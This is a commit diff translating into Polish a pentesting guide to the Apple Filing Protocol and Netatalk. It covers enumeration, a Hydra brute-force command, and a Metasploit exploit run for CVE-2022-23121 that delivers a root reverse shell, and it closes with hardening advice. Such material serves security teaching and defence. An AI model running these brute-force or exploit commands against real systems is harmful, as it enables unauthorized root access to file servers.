Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to

This commit is contained in:
Translator 2025-08-14 03:06:39 +00:00
parent b3cd8dab6d
commit 3fd8a3b58c

View File

@ -4,27 +4,109 @@
## Podstawowe informacje
**Apple Filing Protocol** (**AFP**), wcześniej znany jako AppleTalk Filing Protocol, to specjalizowany protokół sieciowy wchodzący w skład **Apple File Service** (**AFS**). Został zaprojektowany w celu zapewnienia usług plikowych dla macOS i klasycznego Mac OS. AFP wyróżnia się wsparciem dla nazw plików Unicode, uprawnień POSIX i list kontroli dostępu, forków zasobów, nazwanych atrybutów rozszerzonych oraz zaawansowanych mechanizmów blokowania plików. Był głównym protokołem dla usług plikowych w Mac OS 9 i wcześniejszych wersjach.
**Apple Filing Protocol** (**AFP**), dawniej znany jako AppleTalk Filing Protocol, to specjalizowany protokół sieciowy wchodzący w skład **Apple File Service** (**AFS**). Został zaprojektowany w celu zapewnienia usług plikowych dla macOS i klasycznego Mac OS. AFP wyróżnia się wsparciem dla nazw plików Unicode, uprawnień w stylu POSIX i ACL, forków zasobów, nazwanych atrybutów rozszerzonych oraz zaawansowanych mechanizmów blokowania plików.
**Domyślny port:** 548
Chociaż AFP został zastąpiony przez SMB w nowoczesnych wersjach macOS (SMB jest domyślnym protokołem od OS X 10.9), nadal można go spotkać w:
* Środowiskach legacy macOS / Mac OS 9
* Urządzeniach NAS (QNAP, Synology, Western Digital, TrueNAS…), które zawierają otwartoźródłowy demon **Netatalk**
* Sieciach z mieszanymi systemami operacyjnymi, gdzie Time-Machine-over-AFP jest nadal włączone
**Domyślny port TCP:** **548** (AFP przez TCP / DSI)
```bash
PORT STATE SERVICE
548/tcp open afp
PORT STATE SERVICE
548/tcp open afp
```
### **Enumeracja**
---
Do enumeracji usług AFP przydatne są następujące polecenia i skrypty:
## Enumeracja
### Szybki baner / informacje o serwerze
```bash
msf> use auxiliary/scanner/afp/afp_server_info
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
```
**Skrypty i ich opisy:**
Przydatne skrypty NSE dla AFP:
- **afp-ls**: Ten skrypt jest używany do wylistowania dostępnych woluminów i plików AFP.
- **afp-path-vuln**: Wylistowuje wszystkie woluminy i pliki AFP, podkreślając potencjalne luki.
- **afp-serverinfo**: Dostarcza szczegółowych informacji o serwerze AFP.
- **afp-showmount**: Wylistowuje dostępne udostępnienia AFP wraz z ich odpowiednimi ACL.
| Skrypt | Co robi |
|--------|--------------|
| **afp-ls** | Wyświetla dostępne wolumeny i pliki AFP |
| **afp-brute** | Atak brute-force na hasło logowania AFP |
| **afp-serverinfo** | Wyciąga nazwę serwera, typ maszyny, wersję AFP, obsługiwane UAM-y itp. |
| **afp-showmount** | Wyświetla udostępnienia wraz z ich ACL-ami |
| **afp-path-vuln** | Wykrywa (i może wykorzystać) ataki typu directory-traversal, CVE-2010-0533 |
### [**Brute Force**](../generic-hacking/brute-force.md#afp)
Skrypt brute-force NSE można połączyć z Hydra/Medusa, jeśli wymagana jest większa kontrola:
```bash
hydra -L users.txt -P passwords.txt afp://<IP>
```
### Interacting with shares
*macOS*
```bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
```
*Linux* (używając `afpfs-ng` pakowanego w większości dystrybucji)
```bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
```
Po zamontowaniu pamiętaj, że klasyczne zasoby Maca są przechowywane jako ukryte pliki `._*` AppleDouble często zawierają interesujące metadane, które narzędzia DFIR pomijają.
---
## Powszechne podatności i eksploatacja
### Netatalk nieautoryzowany łańcuch RCE (2022)
Kilku dostawców NAS dostarczyło **Netatalk ≤3.1.12**. Brak sprawdzania granic w `parse_entries()` pozwala atakującemu na skonstruowanie złośliwego nagłówka **AppleDouble** i uzyskanie **zdalnego dostępu root** przed uwierzytelnieniem (**CVSS 9.8 CVE-2022-23121**). Pełny opis od NCC Group z PoC wykorzystującym Western-Digital PR4100 jest dostępny.
Metasploit (>= 6.3) zawiera moduł `exploit/linux/netatalk/parse_entries`, który dostarcza ładunek za pomocą DSI `WRITE`.
```bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
```
Jeśli cel działa na podatnym firmware QNAP/Synology, udane wykorzystanie skutkuje uzyskaniem powłoki jako **root**.
### Przepełnienie sterty OpenSession w Netatalk (2018)
Starsze wersje Netatalk (3.0.0 - 3.1.11) są podatne na zapis poza zakresem w obsłudze **DSI OpenSession**, co pozwala na wykonanie nieautoryzowanego kodu (**CVE-2018-1160**). Szczegółowa analiza i PoC zostały opublikowane przez Tenable Research.
### Inne istotne problemy
* **CVE-2022-22995** Przekierowanie symlinków prowadzące do zapisu dowolnych plików / RCE, gdy AppleDouble v2 jest włączone (3.1.0 - 3.1.17).
* **CVE-2010-0533** Przechodzenie przez katalogi w Apple Mac OS X 10.6 AFP (wykryte przez `afp-path-vuln.nse`).
* Naprawiono wiele błędów związanych z bezpieczeństwem pamięci w **Netatalk 4.x (2024)** zaleca się aktualizację zamiast łatania poszczególnych CVE.
---
## Rekomendacje obronne
1. **Wyłącz AFP**, chyba że jest to ściśle wymagane użyj zamiast tego SMB3 lub NFS.
2. Jeśli AFP musi pozostać, **zaktualizuj Netatalk do ≥ 3.1.18 lub 4.x**, lub zastosuj firmware dostawcy, który wprowadza poprawki z lat 2022/2023/2024.
3. Wymuś **Silne UAM** (np. *DHX2*), wyłącz logowanie w czystym tekście i gości.
4. Ogranicz TCP 548 do zaufanych podsieci i umieść AFP w VPN, gdy jest wystawione zdalnie.
5. Okresowo skanuj za pomocą `nmap -p 548 --script afp-*` w CI/CD, aby wykryć nieautoryzowane / obniżone urządzenia.
---
### [Brute-Force](../generic-hacking/brute-force.md#afp)
## Referencje
* Netatalk Security Advisory CVE-2022-23121 "Wykonanie dowolnego kodu w parse_entries" <https://netatalk.io/security/CVE-2022-23121>
* Tenable Research "Wykorzystywanie 18-letniego błędu (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
{{#include ../banners/hacktricks-training.md}}